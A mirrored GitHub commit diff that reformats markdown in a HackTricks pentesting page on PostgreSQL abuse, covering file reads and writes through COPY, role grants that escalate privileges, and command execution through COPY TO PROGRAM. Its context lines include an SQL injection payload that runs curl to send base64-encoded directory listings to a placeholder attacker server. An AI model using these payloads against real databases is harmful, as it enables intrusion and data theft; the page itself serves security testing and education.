mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#3676] No subject
This commit is contained in:
CPol
gitbook-bot
parent
840099b98b
commit
bab63e8abe
1 changed files with 10 additions and 14 deletions
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
||||
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -40,7 +40,7 @@ PL/pgSQL, as a **fully featured programming language**, allows much more procedu
|
|||
|
||||
### Read directories and files
|
||||
|
||||
From this **** [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`):
|
||||
From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`):
|
||||
|
||||
```sql
|
||||
# Read file
|
||||
|
|
@ -56,7 +56,7 @@ Remember that if you aren't super user but has the **CREATEROLE** permissions yo
|
|||
GRANT pg_read_server_files TO username;
|
||||
```
|
||||
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
There are **other postgres functions** that can be used to **read file or list a directory**. Only **superusers** and **users with explicit permissions** can use them:
|
||||
|
|
@ -102,7 +102,7 @@ Remember that if you aren't super user but has the **`CREATEROLE`** permissions
|
|||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\
|
||||
|
|
@ -113,21 +113,17 @@ A very important limitation of this technique is that **`copy` cannot be used to
|
|||
However, there are **other techniques to upload big binary files**.\
|
||||
[**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
|
||||
|
||||
## <img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">****
|
||||
## <img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
||||
|
||||
## RCE
|
||||
|
||||
### **RCE to program**
|
||||
|
||||
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), only **super users** and member of the group **`pg_execute_server_program`** can use copy for RCE (example with exfiltration:
|
||||
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), only **super users** and member of the group **`pg_execute_server_program`** can use copy for RCE (example with exfiltration:
|
||||
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
|
|
@ -155,7 +151,7 @@ Remember that if you aren't super user but has the **`CREATEROLE`** permissions
|
|||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
|
||||
|
|
@ -273,12 +269,12 @@ SELECT $TAG$hacktricks$TAG$;
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
||||
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue